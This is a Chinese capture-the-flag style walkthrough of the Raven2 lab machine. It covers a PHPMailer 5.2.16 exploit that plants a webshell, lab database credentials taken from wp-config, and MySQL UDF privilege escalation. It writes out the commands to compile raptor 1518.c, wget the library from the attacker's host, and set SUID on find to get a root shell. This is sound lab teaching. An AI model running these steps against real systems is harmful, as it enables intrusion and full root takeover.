靶机 Raven2 / UDF 提权

2024-01-20 07:50
文章标签 靶机 提权 udf raven2

本文主要是介绍靶机 Raven2 / UDF 提权,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Raven2

信息搜集

存活检测

image-20231013094025398

详细扫描

image-20231013094051995

后台扫描

dirsearch -u http://10.4.7.135 -x 403
# 过滤状态码为 403 的后台页面

image-20231013094145680

Webshell

漏洞发现

  • 访问扫描出的后台页面

    /vendor 页面

    image-20231013094216730

    发现网站使用了 PHPMailer

    PHPMailer是一个用于发送电子邮件的PHP库。它提供了一个简单而灵活的方式来发送邮件,支持SMTP、POP3和IMAP协议,并且支持附件、HTML内容、邮件认证等功能。PHPMailer可以与大多数主流的邮件服务器和邮件服务提供商一起使用,是PHP开发中常用的邮件发送工具之一

    image-20231013094237854

    查看 VERSION 文件发现版本为 5.2.16

    image-20231013094251094

漏洞利用

  • 搜索漏洞

    serachsploit phpmailer
    

    image-20231013094322788

    下载

    searchsploit -m 40974.py
    
  • 查看攻击脚本并修改

    image-20231013094353760

    • 修改目标 ip,添加存在漏洞的 php 页面,

    • 修改 kali ip

    • 更改后门程序存放位置

      保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件 icepeak.php

  • 运行脚本

    python 40974.py
    

    image-20231013094414682

    成功生成文件

  • kali 开启 nc 监听

    image-20231013094432357

  • 访问脚本在网站生成的 Webshell 文件

    http://10.4.7.135/backdoor.php

  • 成功获取 Webshell

    image-20231013094503147

提权

提权准备

  • 在 /var/www/html/wordpress 目录下的 wp 配置文件 wp-config 文件中发现了数据库的账号密码

    账号 root

    密码 R@v3nSecurity

    image-20231013191445249

  • 尝试登录数据库

    mysql -uroot -pR@v3nSecurity
    
  • 查看数据库中内容,发现两个用户

    image-20231013191800816

    image-20231013192031849

    michael P P PBjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

    steven LOLLOL1

  • 可以使用 steven 登录后台

    image-20231013192411139

    没用

  • 利用工具 LinEnum(Linux枚举及权限提升检查工具)
    链接:https://pan.baidu.com/s/1AT3PKicE05u6PsykiwCt-g?pwd=s8dt
    提取码:s8dt
    image-20231013194214689

    image-20231014092640146

    可以看到 MySQL 服务是 root 身份运行的

UDF 提权

UDF 提权利用前提条件
  1. mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用)。

    show variables like '%secure%'; 查看可导出文件位置

  2. CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。

  3. Linux系统需要 plugin 目录的写入权限。

  4. Linux环境下的 UDF 提权大概率仅限于靶场环境中,原因:在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限。

UDF 提权原理

在 MySQL 数据库中,UDF 函数的实现通常需要创建一个动态链接库文件(也称为插件文件或plugin文件)。动态链接库是一种可执行文件,可以在程序运行时动态地加载到内存中,与程序进行链接,提供额外的功能。

UDF 函数通常需要使用 C 或 C++ 等编程语言编写,并将其编译成动态链接库文件。在MySQL 中,UDF 函数的动态链接库文件通常使用 .so 或 .dll 扩展名。这个文件包含了 UDF 函数的代码和相关的库文件,可以在 MySQL 中进行加载和使用。

提权过程
  1. 在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
  2. Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
  3. MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
  • 查看当前数据库用户的权限

    select * from mysql.user where user = substring_index(user(), '@', 1)\G;
    

    image-20231014093537160

实现

  • 找到 plugin 文件位置

     find / -name plugin
    

    image-20231014103131911

  • searchsploit 搜索 mysql udf 漏洞脚本并下载

    searchsploit mysql udf
    searchsploit -m 1518.c  
    

    image-20231014100001531

  • 查看漏洞脚本使用方法

    image-20231014100342457

     * Usage:* $ id* uid=500(raptor) gid=500(raptor) groups=500(raptor)* $ gcc -g -c 1518.c# -g选项用于在编译过程中生成调试信息,以便在程序出错时进行调试。# -c选项用于将源代码编译成目标文件,而不进行链接操作。编译后的目标文件一般以.o或.obj为扩展名。* $ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc# 将1518.o目标文件与C标准库进行链接,并生成一个名为1518.so的动态链接库文件。* $ mysql -uroot -pR@v3nSecurity* [...]* python -c 'import pty;pty.spawn("/bin/bash")'* mysql> use mysql;* mysql> create table foo(line blob);# 在当前数据库中创建一个名为zwt的表,该表只有一个列名为line,数据类型为blob(二进制大对象)。* mysql> insert into foo values(load_file('/tmp/1518.so'));# 向zwt表中插入一条记录,该记录的值是通过load_file函数加载/tmp/1518.so文件的内容。load_file函数用于读取文件内容并返回其二进制数据。* mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';# 将读取的 /tmp 下下载的 1518.so 文件输出保存到 /usr/lib/mysql/plugin 动态链接库目录下* mysql> create function do_system returns integer soname '1518.so';# 创建一个名为do_system的MySQL函数,该函数使用名为1518.so的动态链接库作为实现* mysql> select * from mysql.func;# 查看已经创建的函数的详细信息* +-----------+-----+----------------+----------+* | name      | ret | dl             | type     |* +-----------+-----+----------------+----------+* | do_system |   2 | 1518.so | function |* +-----------+-----+----------------+----------+* mysql> select do_system('chmod u+s /usr/bin/find');* find ./ aaa -exec '/bin/sh' \;* sh-2.05b$ cat /tmp/out* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)* [...]** E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
    
  • kali 编译

    image-20231014105228583

  • 靶机回显

    python -c 'import pty;pty.spawn("/bin/bash")'
    
  • 靶机下载 1518.so

    cd /tmp
    wget http://10.4.7.132/1518.so
    

    image-20231014105247753

  • 动态链接库

    mysql -uroot -pR@v3nSecurity
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/1518.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    create function do_system returns integer soname '1518.so';
    select * from mysql.func;
    

    image-20231014110231192

  • 执行系统命令赋予 suid 权限

    select do_system('chmod u+s /usr/bin/find');
    

    image-20231014112948415

  • find 提权

    find / abc -exec '/bin/sh' \;
    # \;:表示命令的结束符号。它告诉find命令在每个匹配到的文件或目录后执行一次命令。
    

    image-20231014113222892

    成功获取 root 权限

总结

  • 动态链接库 udf 提权
  • find 提权
  • suid

这篇关于靶机 Raven2 / UDF 提权的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/625282

相关文章

linux 内核提权总结(demo+exp分析) -- 任意读写(四)

hijack_modprobe_path篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm     原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermod

linux 内核提权总结(demo+exp分析) -- 任意读写(三)

hijack_prctl篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   prctl函数: 用户态函数,可用于定制进程参数,非常适合和内核进行交互 用户态执行prctl函数后触发prctl系统

linux 内核提权总结(demo+exp分析) -- 任意读写(二)

hijack_vdso篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm     vdso: 内核实现的一个动态库,存在于内核,然后映射到用户态空间,可由用户态直接调用 内核中的vdso如果被修改

linux 内核提权总结(demo+exp分析) -- 任意读写(一)

cred篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   每个线程在内核中都对应一个线程结构块thread_infothread_info中存在task_struct类型结构体 struct t

linux 内核提权总结(demo+exp分析) -- ROP(二)

ret2usr CR4篇 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码 内核通过CR4寄存器的第20位来控制smep,

linux 内核提权总结(demo+exp分析) -- ROP(一)

基础ROP篇(linux 5.0.21) 本文转自网络文章,内容均为非盈利,版权归原作者所有。 转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。 原文作者:jmpcall 专栏地址:https://zhuanlan.kanxue.com/user-815036.htm   内核提权与用户态攻击的区别 攻击流程 用户态攻击: 执行 system("/bin/sh") 获得shel

【硬刚Hive】Hive面试题(5)UDF,UDTF(二)UDTF

1.udtf介绍及编写 1.1.介绍 HIVE中udtf可以将一行转成一行多列,也可以将一行转成多行多列,使用频率较高。本篇文章通过实际案例剖析udtf的编写及使用方法和原理。 测试数据 drop table if exists test;create table test(ind int,col string,col1 string) ;insert into test values

【硬刚Hive】Hive面试题(4)UDF,UDTF(一)UDF

1 UDF的定义 UDF(User-Defined Functions)即是用户定义的hive函数。hive自带的函数并不能完全满足业务需求,这时就需要我们自定义函数了 2 UDF的分类 UDF:one to one,进来一个出去一个,row mapping。是row级别操作,如:upper、substr函数UDAF:many to one,进来多个出去一个,row mapping。是

tomato靶机通关攻略

主机发现  用kali去扫描端口,发现有3个开放端口 访问网站    在kali里面进行目录扫描,找到一个antibot_image   找到一个/antibot_image/ 目录,进而找到/antibots/目录  发现可能存在文件包含    页面通过image传参查看passwd文件  页面通过image传参查看日志文件   将一句话木马作为ssh登录的用户

.hackme靶机通关攻略

第一步查找ip 通过御剑扫描到IP进入尝试 成功找到靶场 步骤二来到这个靶场注册登录 进来点一下提交出来书名 只有一个框框那就来试试sql注入 1’ and 1=2 --+ 然后查看数据库 -1' union select database(),2,3 # 查看数据库表名 -1' union select group_concat(table_name),2,3